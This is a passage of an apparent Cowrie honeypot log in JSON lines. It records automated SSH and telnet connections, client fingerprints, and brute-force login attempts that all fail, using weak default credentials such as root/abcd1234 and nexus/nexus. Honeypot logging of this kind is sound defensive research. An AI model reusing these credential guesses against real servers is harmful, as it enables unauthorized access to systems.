{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:42.786026Z","src_ip":"176.65.132.129","session":"3b58ceb465be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123","message":"login attempt [ftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:43.032877Z","src_ip":"176.65.132.129","session":"3b58ceb465be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:44.118832Z","src_ip":"176.65.132.129","session":"3b58ceb465be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52060,"dst_ip":"159.203.135.109","dst_port":22,"session":"b098736fd5a6","protocol":"ssh","message":"New connection: 176.65.132.129:52060 (159.203.135.109:22) [session: b098736fd5a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:45.965084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:45.970255Z","src_ip":"176.65.132.129","session":"b098736fd5a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:46.052920Z","src_ip":"176.65.132.129","session":"b098736fd5a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:46.301763Z","src_ip":"176.65.132.129","session":"b098736fd5a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:47.498965Z","src_ip":"176.65.132.129","session":"b098736fd5a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52068,"dst_ip":"159.203.135.109","dst_port":22,"session":"898ebd4a5701","protocol":"ssh","message":"New connection: 176.65.132.129:52068 (159.203.135.109:22) [session: 898ebd4a5701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:49.230728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:49.239358Z","src_ip":"176.65.132.129","session":"898ebd4a5701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.93827986717224,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:49.320951Z","src_ip":"152.42.224.71","session":"474fe49da119","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:49.325256Z","src_ip":"176.65.132.129","session":"898ebd4a5701","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:49.570628Z","src_ip":"176.65.132.129","session":"898ebd4a5701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00215101242065,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:49.930390Z","src_ip":"152.42.224.71","session":"ee0b88aa5eba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":47174,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f6def9c51f9","protocol":"ssh","message":"New connection: 103.77.242.62:47174 (10.17.0.5:22) [session: 5f6def9c51f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:50.654637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:50.660594Z","src_ip":"103.77.242.62","session":"5f6def9c51f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:50.665275Z","src_ip":"176.65.132.129","session":"898ebd4a5701","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:50.899933Z","src_ip":"103.77.242.62","session":"5f6def9c51f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"paradise","message":"login attempt [root/paradise] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:51.617253Z","src_ip":"103.77.242.62","session":"5f6def9c51f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.897109270095825,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:51.742221Z","src_ip":"152.42.224.71","session":"7adf53f47dbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52082,"dst_ip":"159.203.135.109","dst_port":22,"session":"e49c2df8abca","protocol":"ssh","message":"New connection: 176.65.132.129:52082 (159.203.135.109:22) [session: e49c2df8abca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:52.570374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:52.575305Z","src_ip":"176.65.132.129","session":"e49c2df8abca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:52.657926Z","src_ip":"176.65.132.129","session":"e49c2df8abca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:52.863676Z","src_ip":"103.77.242.62","session":"5f6def9c51f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:53.109848Z","src_ip":"176.65.132.129","session":"e49c2df8abca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:54.202195Z","src_ip":"176.65.132.129","session":"e49c2df8abca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47856,"dst_ip":"159.203.135.109","dst_port":22,"session":"c12da167c4ed","protocol":"ssh","message":"New connection: 176.65.132.129:47856 (159.203.135.109:22) [session: c12da167c4ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:55.948529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:55.953604Z","src_ip":"176.65.132.129","session":"c12da167c4ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:56.036271Z","src_ip":"176.65.132.129","session":"c12da167c4ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:56.283920Z","src_ip":"176.65.132.129","session":"c12da167c4ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.164438247680664,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:56.735303Z","src_ip":"152.42.224.71","session":"f983bc4110fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.135.168.228","src_port":58873,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3b42123bf29","protocol":"ssh","message":"New connection: 213.135.168.228:58873 (159.203.135.109:22) [session: e3b42123bf29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:56.938661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:56.943469Z","src_ip":"213.135.168.228","session":"e3b42123bf29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:57.075579Z","src_ip":"213.135.168.228","session":"e3b42123bf29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:57.369291Z","src_ip":"176.65.132.129","session":"c12da167c4ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"454545","message":"login attempt [root/454545] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:57.634421Z","src_ip":"213.135.168.228","session":"e3b42123bf29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:58.769948Z","src_ip":"213.135.168.228","session":"e3b42123bf29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47858,"dst_ip":"159.203.135.109","dst_port":22,"session":"5961442222f5","protocol":"ssh","message":"New connection: 176.65.132.129:47858 (159.203.135.109:22) [session: 5961442222f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:59.209333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:59.214091Z","src_ip":"176.65.132.129","session":"5961442222f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:59.303312Z","src_ip":"176.65.132.129","session":"5961442222f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:59.550601Z","src_ip":"176.65.132.129","session":"5961442222f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.166.167.154","src_port":49694,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fd85d74c312","protocol":"ssh","message":"New connection: 122.166.167.154:49694 (159.203.135.109:22) [session: 8fd85d74c312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:59.918869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:59.923732Z","src_ip":"122.166.167.154","session":"8fd85d74c312","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","e